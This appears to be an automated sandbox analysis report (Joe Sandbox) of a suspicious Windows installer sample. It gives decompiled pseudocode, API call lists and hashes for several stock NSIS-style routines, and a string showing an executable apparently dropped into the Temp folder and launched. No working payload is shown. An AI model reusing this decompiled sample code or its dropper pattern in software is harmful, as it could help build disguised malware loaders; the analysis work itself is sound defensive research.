0x004059e4
0x004059f7
0x00405a15
0x00405a17
0x00405a1f
0x00405a75
0x00405a79
0x00000000
0x00000000
0x00405a7b
0x00405a81
0x00000000
0x00000000
0x00405a8b
0x00405a93
0x00405a96
0x00405b98
0x00000000
0x00405b98
0x00405aa5
0x00405ab0
0x00405ab9
0x00405ac4
0x00405ac7
0x00405ad0
0x00405ad6
0x00405ad9
0x00405ad9
0x00405af1
0x00405afa
0x00405afd
0x00405b04
0x00405b0b
0x00405b13
0x00405b13
0x00405b2a
0x00405b2a
0x00405b31
0x00405b37
0x00405b43
0x00405b4a
0x00405b53
0x00405b55
0x00405b58
0x00405b67
0x00405b6a
0x00405b70
0x00405b71
0x00405b77
0x00405b78
0x00405b79
0x00405b81
0x00405b8c
0x00405b92
0x00405b92
0x00000000
0x00405af1
0x00405a27
0x00405a57
0x00405a5f
0x00405a6a
0x00405a6a
0x00405a70
0x00000000
0x00405a70
0x00405a2b
0x00405a35
0x00000000
0x004059f9
0x004059ff
0x00405a3a
0x00000000
0x00405a43
0x00405a08
0x00405a0d
0x00405a10
0x00000000
0x00405a10
0x004059f7
0x00405830
0x00405834
0x0040583c
0x00405840
0x00405843
0x00405846
0x00405849
0x0040584c
0x0040584d
0x0040584e
0x00405867
0x0040586a
0x00405874
0x00405883
0x0040588b
0x00405893
0x00405898
0x0040589b
0x004058a7
0x004058b0
0x004058b9
0x004058db
0x004058e1
0x004058f2
0x004058f7
0x00405905
0x00405913
0x00405913
0x00405918
0x00405926
0x00405926
0x0040592b
0x0040592e
0x00405933
0x0040593f
0x00405948
0x00405955
0x00405964
0x00405957
0x0040595c
0x0040595c
0x00405970
0x00405970
0x00405984
0x0040598d
0x00405996
0x004059a6
0x004059b2
0x004059b2
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 0040586D
GetDlgItem.USER32(?,000003EE), ref: 0040587C
GetClientRect.USER32 ref: 004058B9
GetSystemMetrics.USER32 ref: 004058C0
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058E1
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058F2
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405905
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405913
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405926
ShowWindow.USER32(00000000,?), ref: 00405948
ShowWindow.USER32(?,00000008), ref: 0040595C
GetDlgItem.USER32(?,000003EC), ref: 0040597D
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040598D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A6
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059B2
GetDlgItem.USER32(?,000003F8), ref: 0040588B

Part of subcall function 004045FF: SendMessageW.USER32(00000028,?,00000001,0040442A), ref: 0040460D

GetDlgItem.USER32(?,000003EC), ref: 004059CF
CreateThread.KERNEL32(00000000,00000000,Function_000057A3,00000000), ref: 004059DD
CloseHandle.KERNEL32(00000000), ref: 004059E4
ShowWindow.USER32(00000000), ref: 00405A08
ShowWindow.USER32(?,00000008), ref: 00405A0D
ShowWindow.USER32(00000008), ref: 00405A57
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A8B
CreatePopupMenu.USER32 ref: 00405A9C
AppendMenuW.USER32 ref: 00405AB0
GetWindowRect.USER32(?,?), ref: 00405AD0
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE9
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B21
OpenClipboard.USER32(00000000), ref: 00405B31
EmptyClipboard.USER32 ref: 00405B37
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B43
GlobalLock.KERNEL32 ref: 00405B4D
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B61
GlobalUnlock.KERNEL32(00000000), ref: 00405B81
SetClipboardData.USER32 ref: 00405B8C
CloseClipboard.USER32 ref: 00405B92

Strings

{, xrefs: 00405A75

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: a77729b42b97d1460badf31275b058d201800e7c8612f90bf0790785bfc588e5
Instruction ID: f3bb878df23a29f955279a02cf148875578f9ab87112c8cbe183df0a3e5e7c84
Opcode Fuzzy Hash: a77729b42b97d1460badf31275b058d201800e7c8612f90bf0790785bfc588e5
Instruction Fuzzy Hash: 7DB16BB1900608FFDF119F64DD89AAE7B79FB45354F00802AFA41BA1A0CB785E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404ABB Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404ABB(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x7a0f60;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x7a9000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405CB2(0x3fb, _t146);
					E004068F5(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405CB2(0x3fb, _t146);
							if(E00406045(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040666E(0x79ff58, _t146);
							_t87 = E00406A3B(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040666E(0x79ff58, _t146);
								_t89 = E00405FE8(0x79ff58);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x79ff58,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x79ff58) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x79ff58,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405F89(0x79ff58);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x79ff58) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404F58(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x7a7a7c + 0x10)) != _t158) {
									E00404F40(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x79ff48);
									} else {
										E00404E77(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x7a8b44 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004045EC(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x7a1f78 == _t158) {
									E00404A14();
								}
								 *0x7a1f78 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x7a1f88;
							_v60 = E00404E11;
							_v56 = _t146;
							_v68 = E004066AB(_t146, 0x7a1f88, _t167, 0x7a0760, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405F3D(_t146);
								_t125 =  *((intOrPtr*)( *0x7a8ab0 + 0x11c));
								if( *((intOrPtr*)( *0x7a8ab0 + 0x11c)) != 0 && _t146 == 0x7b3800) {
									E004066AB(_t146, 0x7a1f88, _t167, 0, _t125);
									if(lstrcmpiW(0x7a6a40, 0x7a1f88) != 0) {
										lstrcatW(_t146, 0x7a6a40);
									}
								}
								 *0x7a1f78 =  *0x7a1f78 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405FB4(_t146) != 0 && E00405FE8(_t146) == 0) {
						E00405F3D(_t146);
					}
					 *0x7a7a78 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004045CA(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004045CA(_t167);
					E004045FF(_t166);
					_t138 = E00406A3B(8);
					if(_t138 == 0) {
						L53:
						return E00404631(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404abb
0x00404ac1
0x00404ac7
0x00404ad4
0x00404ae2
0x00404ae5
0x00404aed
0x00404af3
0x00404af3
0x00404aff
0x00404b02
0x00404b70
0x00404b77
0x00404c4e
0x00404c55
0x00404c64
0x00404c64
0x00404c68
0x00404c72
0x00404c7f
0x00404c81
0x00404c81
0x00404c8f
0x00404c96
0x00404c9d
0x00404ca0
0x00404cdc
0x00404cde
0x00404ce4
0x00404ce9
0x00404ced
0x00404cef
0x00404cef
0x00404d0b
0x00000000
0x00404d0d
0x00404d10
0x00404d1e
0x00404d24
0x00404d25
0x00404d28
0x00404d2b
0x00000000
0x00404d2b
0x00404ca2
0x00404ca4
0x00404ca8
0x00000000
0x00000000
0x00000000
0x00000000
0x00404caa
0x00404caa
0x00404cb7
0x00404cbc
0x00000000
0x00000000
0x00404cc0
0x00404cc2
0x00404cc2
0x00404ccb
0x00404ccd
0x00404cd2
0x00404cd5
0x00404cda
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cda
0x00404d37
0x00404d41
0x00404d44
0x00404d47
0x00404d4e
0x00404d4e
0x00404d50
0x00404d50
0x00404d55
0x00404d57
0x00404d5f
0x00404d66
0x00404d68
0x00404d73
0x00404d73
0x00404d68
0x00404d83
0x00404d8d
0x00404d95
0x00404db0
0x00404d97
0x00404da0
0x00404da0
0x00404d95
0x00404db5
0x00404dba
0x00404dbf
0x00404dc8
0x00404dc8
0x00404dd1
0x00404dd3
0x00404dd3
0x00404ddf
0x00404de7
0x00404df1
0x00404df1
0x00404df6
0x00000000
0x00404df6
0x00404ca0
0x00404c57
0x00404c5e
0x00000000
0x00000000
0x00000000
0x00404c5e
0x00404b7d
0x00404b86
0x00404ba0
0x00404ba5
0x00404baf
0x00404bb6
0x00404bc2
0x00404bc5
0x00404bc8
0x00404bcf
0x00404bd7
0x00404bda
0x00404bde
0x00404be5
0x00404bed
0x00404c47
0x00404bef
0x00404bf0
0x00404bf7
0x00404c01
0x00404c09
0x00404c16
0x00404c2a
0x00404c2e
0x00404c2e
0x00404c2a
0x00404c33
0x00404c40
0x00404c40
0x00404bed
0x00000000
0x00404ba5
0x00404b93
0x00000000
0x00000000
0x00404b99
0x00000000
0x00404b04
0x00404b11
0x00404b1a
0x00404b27
0x00404b27
0x00404b2e
0x00404b34
0x00404b3d
0x00404b40
0x00404b43
0x00404b4b
0x00404b4e
0x00404b51
0x00404b57
0x00404b5e
0x00404b65
0x00404dfc
0x00404e0e
0x00404b6b
0x00404b6e
0x00000000
0x00404b6e
0x00404b65

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B0A
SetWindowTextW.USER32 ref: 00404B34
SHBrowseForFolderW.SHELL32(?), ref: 00404BE5
CoTaskMemFree.OLE32(00000000), ref: 00404BF0
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,007A1F88,00000000,?,?), ref: 00404C22
lstrcatW.KERNEL32 ref: 00404C2E
SetDlgItemTextW.USER32 ref: 00404C40

Part of subcall function 00405CB2: GetDlgItemTextW.USER32 ref: 00405CC5

Part of subcall function 004068F5: CharNextW.USER32(?), ref: 00406958
Part of subcall function 004068F5: CharNextW.USER32(?), ref: 00406967
Part of subcall function 004068F5: CharNextW.USER32(?), ref: 0040696C
Part of subcall function 004068F5: CharPrevW.USER32(?,?), ref: 0040697F

GetDiskFreeSpaceW.KERNEL32(0079FF58,?,?,0000040F,?,0079FF58,0079FF58,?,00000001,0079FF58,?,?,000003FB,?), ref: 00404D03
MulDiv.KERNEL32 ref: 00404D1E

Part of subcall function 00404E77: lstrlenW.KERNEL32(007A1F88,007A1F88,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F18
Part of subcall function 00404E77: wsprintfW.USER32 ref: 00404F21
Part of subcall function 00404E77: SetDlgItemTextW.USER32 ref: 00404F34

Strings

C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna, xrefs: 00404C1C, 00404C21, 00404C2C
A, xrefs: 00404BDE

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
API String ID: 2624150263-3265188449
Opcode ID: 1c3e24ea3c91ff4ce813832bee9d1a6c89b271b1ee61e594e0d9cbeb6062d674
Instruction ID: 4ef08ca0e285fb36132dd1072a135484aded6f5102cec428142970bb06395e88
Opcode Fuzzy Hash: 1c3e24ea3c91ff4ce813832bee9d1a6c89b271b1ee61e594e0d9cbeb6062d674
Instruction Fuzzy Hash: 77A182B1901209ABEB11AFA5CD45AEF77B9EF84314F11803BF601B62D1DB7C89418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405FB4( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x7b4000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?), ref: 00402229

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 95206bf645e1c446277479694b40913283949515a1362953c4f2174f782b348b
Instruction ID: c9e7058f2ccac2017f9d88f2873359e197591af4de9cbf84fabb751e216ccc72
Opcode Fuzzy Hash: 95206bf645e1c446277479694b40913283949515a1362953c4f2174f782b348b
Instruction Fuzzy Hash: A1411571A00209EFCF40DFE4C989E9D7BB5BF49304B2045AAF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E004065B5( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040666E();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 886e1da82f87bd9a052d385c947725ec3f25a605ee36621127924a1c8a89904e
Instruction ID: 9ced82c77f1422a0303d0e50afa4302c42ae01a582b6fde34da312f05d76664a
Opcode Fuzzy Hash: 886e1da82f87bd9a052d385c947725ec3f25a605ee36621127924a1c8a89904e
Instruction Fuzzy Hash: 5CF05E71904104EAD701DBA4E949AAEB378EF15314F20457BE101F21D0EBB88E119B29

Uniqueness

Uniqueness Score: -1.00%

Function 00405037 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405037(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x7a8ac8;
				_v28 =  *0x7a8ab0 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x7a8ab9 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
